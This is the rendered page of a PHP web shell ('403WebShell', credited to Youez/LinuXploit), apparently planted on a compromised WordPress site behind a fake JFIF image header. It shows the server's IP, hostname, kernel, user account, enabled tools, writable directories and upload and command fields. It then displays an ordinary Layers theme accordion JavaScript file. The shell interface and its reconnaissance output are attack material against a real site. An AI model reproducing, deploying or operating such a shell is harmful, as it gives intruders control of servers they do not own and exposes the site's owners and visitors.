????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/./tempvsty/pontiacques.org/wp-content/themes/layerswp/core/widgets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/./tempvsty/pontiacques.org/wp-content/themes/layerswp/core/widgets/js/widget-accordians.js
/*
* Layers Widget Specific Functions
*
* This file controls the accordian action on the Layers custom widgets
*
 * Contents
 * 1 - Accordians
 * 1.a - Click
 * 1.b - Init
 * 1.c - Widget Click
 * 2 - Widget Peep Function
 * Author: Obox Themes
 * Author URI: http://www.oboxthemes.com/
 * License: GNU General Public License v2 or later
 * License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
( function( $ ){

	/**
	* 1 - Accordians
	*/

	// 1.a - Accordian Click

	$( document ).on( 'click' , '.layers-accordion-title' , function(e){
		e.preventDefault();

		// Toggle this accordian
		$me = $(this).closest( 'li.layers-accordion-item' );
		$me.toggleClass( 'open' );
		$me.find( '.layers-accordion-section' ).first().slideToggle({ easing: 'layersEaseInOut', duration: 250 });

		// Close non-active accordians
		$siblings = $me.siblings();
		$siblings.removeClass( 'open' );
		$siblings.find( '.layers-accordion-section' ).slideUp({ easing: 'layersEaseInOut', duration: 250 });
	});

	// 1.b - Accodian Init
	
	$( document ).on( 'layers-interface-init', function( e, element ){
		layers_init_accordians( $(element) );
	});

	function layers_init_accordians( $element_s ){

		$element_s.find( '.layers-accordions' ).each( function(){
			
			$that = $(this);

			$that.find( 'li.layers-accordion-item' ).first().addClass( 'open' );
			$that.find( 'li.layers-accordion-item' ).not(':first').each( function() {
				var $li = $(this);
				$li.find( '.layers-accordion-section' ).hide();
			});
		});

	}

	/**
	* 2 - Widget Peep Function
	*/
	$( document ).on( 'click' , '#layers-widget-peep' , function(e){
		e.preventDefault();

		// "Hi Mom"
		var $that = $(this);

		var $widget_content = $that.closest( '.widget-content' );
		var $widget_inside = $that.closest( '.widget-inside' );

		var $control_wrapper = $widget_content.find( '.layers-visuals-wrapper' );
		var $control_wrapper_width = $control_wrapper.outerWidth();


		if( $control_wrapper_width !== $widget_content.outerWidth() ) {
			$that.attr( 'icon-arrow-right');
			$widget_content.css( 'width',   $control_wrapper_width );
			$widget_inside.css( 'width',   $control_wrapper_width );
		} else {
			$that.attr('class' , 'icon-arrow-left');
			$widget_content.css( 'width' , '' );
			$widget_inside.css( 'width' , '' );
		}

	});

})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit